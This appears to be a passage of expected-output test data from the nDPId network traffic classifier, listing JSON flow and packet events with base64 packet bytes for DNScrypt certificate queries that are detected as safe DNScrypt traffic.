+00672{"flow_id":146,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":168571,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWEfAAADQRWDeOBM0vCgAAAQG7xNMAwo9hqlmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAAVJsH+RdJNH3D0PM7heo\/dPPI3i1+4vLX8T10ivxa\/CqjJyTHnmZoOX4oJMyJ42Khrgw6i1Ft4Vh\/Rb2U7RsAXZ5P9pZAltiMSwIbLDTpLjw5sG+xMI0gbdPS4ze+O\/Bdnk\/2lkCW2IWX62bll+tm5sSrlu"} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":365,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":946739318168,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":37328,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":168986,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcuoVAAL0Rw2MKAAABwb+7a5HQAbsCCEABLy0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":365,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":946739318168,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":37328,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":366,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":35885,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169044,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcuoZAAL0Rw2IKAAABwb+7a4wtAbsCCEABLysBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":366,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":35885,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":367,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":33279,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02387{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169070,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcuocgAL0R36EKAAABwb+7a4H\/AbsGBBdyLyoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":367,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":33279,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":368,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169102,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQuocAub0RBHUKAAABwb+7awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":368,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":369,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":54215,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169132,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcuokgAL0R358KAAABwb+7a9PHAbsGBMWnLywBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":369,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":54215,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":370,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49040,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169132,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcuoggAL0R36AKAAABwb+7a7+QAbsGBNniLygBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":370,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49040,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":371,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169148,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQuokAub0RBHMKAAABwb+7awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":371,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":372,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169153,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQuogAub0RBHQKAAABwb+7awAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":372,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":373,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49115,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":169188,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcuopAAL0Rw14KAAABwb+7a7\/bAbsCCEABLykBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJiZQAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":373,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":946739318169,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.191.187.107","src_port":49115,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} 